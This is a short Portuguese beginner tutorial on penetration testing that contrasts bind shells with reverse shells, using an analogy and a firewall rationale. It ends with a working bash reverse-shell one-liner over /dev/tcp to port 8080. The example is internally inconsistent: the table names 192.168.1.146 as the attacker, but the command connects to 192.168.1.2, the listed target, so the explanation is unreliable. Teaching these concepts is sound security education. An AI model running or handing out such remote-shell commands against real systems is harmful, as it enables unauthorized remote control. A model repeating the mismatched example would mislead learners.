Bind Shell vs Reverse Shell: Qual é, afinal, a diferença?
Se estás a dar os primeiros passos em cibersegurança ou em testes de invasão (pentesting), de certeza que já te cruzaste com os termos Bind Shell e Reverse Shell. Ambos servem exatamente o mesmo propósito final: dar a um operador (ou atacante) o controlo remoto do terminal de uma máquina alvo.
O que é uma Shell?
Uma shell (como o Bash em Linux ou o PowerShell em Windows) é simplesmente o interpretador de comandos. Quando falamos em obter uma shell remota, significa que queremos conseguir executar comandos numa máquina distante a partir do nosso próprio computador.
Bind Shell: A máquina alvo fica à espera
Imagina que queres entrar na casa de um amigo. Ele destranca a porta das traseiras e fica lá dentro à espera que tu apareças. Isto é um Bind Shell.
Reverse Shell: A máquina alvo liga para ti
Como as firewalls são excelentes a bloquear o que tenta entrar, mas costumam ser muito permissivas com o que tenta sair (afinal, os utilizadores precisam de sair para navegar na web), surgiu o Reverse Shell (ou Shell Reverso).
Attacker | Target |
|---|---|
192.168.1.146 | 192.168.1.2 |
Tendo uma Reverse Shell com um simples comando, e funciona em todos os sistemas operativos que usam Bash.
bash -i >& /dev/tcp/192.168.1.2/8080 0>&1 